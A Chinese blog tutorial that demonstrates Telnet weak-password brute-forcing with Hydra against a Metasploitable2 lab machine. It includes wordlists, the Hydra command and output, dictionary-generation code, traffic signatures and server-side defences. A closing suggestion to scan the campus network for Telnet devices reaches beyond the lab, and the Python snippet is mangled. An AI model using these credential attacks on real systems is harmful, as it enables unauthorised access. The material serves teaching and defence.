第3章 第18.4天
Telnet协议攻防实战:弱口令爆破的攻防博弈
大家好,今天我们从安全工程师视角拆解Telnet协议的攻防技术。通过实验室的真实攻防演练,我会展示如何利用Telnet的特性进行弱口令爆破,以及如何有效防御这类攻击。我们将使用Kali Linux和Metasploitable2构建实验环境,模拟真实攻击场景。(´-ω-`)
一、实验环境搭建:漏洞沙箱构建
核心设备配置:
- 攻击机:Kali Linux 2023(IP:192.168.146.4)
- 靶机:Metasploitable2 Linux(IP:192.168.146.3)
- 预置漏洞:默认账号密码
msfadmin/msfadmin
网络连通性验证:
# Kali终端测试连通性
ping -c 4 192.168.146.3
# 输出示例:
# 64 bytes from 192.168.146.3: icmp_seq=1 ttl=64 time=0.5ms
关键准备步骤:
- 创建弱口令字典:
# 用户名字典 user.txt
echo "msfadmin" > user.txt
echo "admin" >> user.txt
echo "root" >> user.txt
# 密码字典 pass.txt
echo "msfadmin" > pass.txt
echo "password" >> pass.txt
echo "123456" >> pass.txt
- 启动Wireshark监控:
# 过滤Telnet流量
wireshark -k -Y "tcp.port == 23" &
二、攻击原理:弱口令爆破剖析
攻击本质:自动化尝试常见用户名密码组合
技术特点:
- 协议弱点:Telnet无登录失败锁定机制
- 字典质量:成功率依赖字典精准度
- 低资源消耗:单次请求成本极低
graph TB
A[字典文件] --> B[爆破工具]
B -->|尝试组合| C[Telnet服务]
C -->|成功| D[获取权限]
C -->|失败| B
三、攻击实施:Hydra实战演示
爆破命令解析:
hydra -L user.txt \# 指定用户名字典
-P pass.txt \# 指定密码字典
-t 4 \# 并行线程数(推荐CPU核心数)
-vV \# 显示详细过程
192.168.146.3 \# 目标IP
telnet# 协议类型
关键参数说明:
-t 4:优化校园网环境下的并发效率-f:找到第一个有效凭证即停止-s 23:指定非标准端口(如校园设备常用2323)
典型输出:
[DATA] attacking telnet://192.168.146.3:23/
[VERBOSE] Resolving addresses ... done
[23][telnet] host: 192.168.146.3login: msfadminpassword: msfadmin
[STATUS] attack finished for 192.168.146.3 (valid pair found)
1 of 1 target successfully completed
四、流量分析:Wireshark取证技术
爆破特征识别:
- 高频登录尝试:
No.TimeSourceDestinationProtocol Info
10010.000001192.168.146.4192.168.146.3 TELNETUSER: root
10020.000012192.168.146.4192.168.146.3 TELNETPASS: password
10030.000019192.168.146.4192.168.146.3 TELNETUSER: admin
- 固定错误模式:
telnet contains "Login incorrect"# 过滤失败响应
- 成功登录特征:
"Last login: Mon Jun5 14:30:12 UTC 2023 from 192.168.146.4"
五、防御策略:四层防护体系
1. 认证加固(服务端)
# 修改Metasploitable2的PAM配置
sudo vim /etc/pam.d/login
# 添加:
auth required pam_tally2.so deny=3 unlock_time=300# 3次失败锁定5分钟
2. 网络层防护(IPTables)
# 限制每分钟Telnet连接数
sudo iptables -A INPUT -p tcp --dport 23 -m state --state NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 23 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 -j DROP
3. 应用层防护(Fail2Ban)
# /etc/fail2ban/jail.local
[telnet]
enabled= true
port= telnet
filter= telnet
logpath= /var/log/auth.log
maxretry = 3# 3次尝试后封禁
4. 协议替代方案(SSH密钥认证)
# 生成密钥对替代密码登录
ssh-keygen -t ed25519
ssh-copy-id msfadmin@192.168.146.3
六、高级攻击:社工字典生成
校园场景字典模板:
# 生成校园场景字典(Python示例)
users = ["admin", "root", "netadmin"]
base_pass = ["Aa123456", "Campus@2023", "Lab@888"]
# 组合日期变体
for year in range(2020, 2024):
for month in range(1, 13):
for user in users:
for base in base_pass:
print(f"{user}")# 用户名字典
print(f"{base}")# 基础密码
print(f"{base}{year}") # 基础密码+年份
print(f"{base}{month:02d}") # 基础密码+月份
实用工具:
# 使用Crunch生成定制字典
crunch 6 8 -t @,%%%% >> pass.txt# 生成姓名首字母+生日字典
# 示例: zs199812
七、防御加固:企业级实践
- 双因素认证:
# 安装Google Authenticator
sudo apt install libpam-google-authenticator
google-authenticator# 生成绑定二维码
- 审计与监控:
# 记录所有Telnet登录尝试
sudo vim /etc/syslog.conf
# 添加:
auth.* /var/log/telnet_auth.log
- 网络隔离:
! 思科设备隔离Telnet服务
access-list 110 deny tcp any any eq 23
access-list 110 permit ip any any
interface vlan 10
ip access-group 110 in
总结:Telnet安全启示
- 协议缺陷:明文传输+弱认证机制是根本弱点
- 攻击本质:自动化尝试+社工字典=高成功率
- 防御核心:
- 认证加固:强密码策略+失败锁定
- 协议升级:SSH替代方案
- 网络控制:访问限制+流量监控
实验建议:
- 尝试使用彩虹表攻击弱密码哈希
- 编写Python脚本模拟Telnet爆破过程
- 在校园网络扫描开放Telnet服务的设备
当你在实验室管理服务器时,Telnet的便捷性背后隐藏着巨大风险。理解其攻防本质,才能构建真正的安全防线。(`・ω・´)
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19020820,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号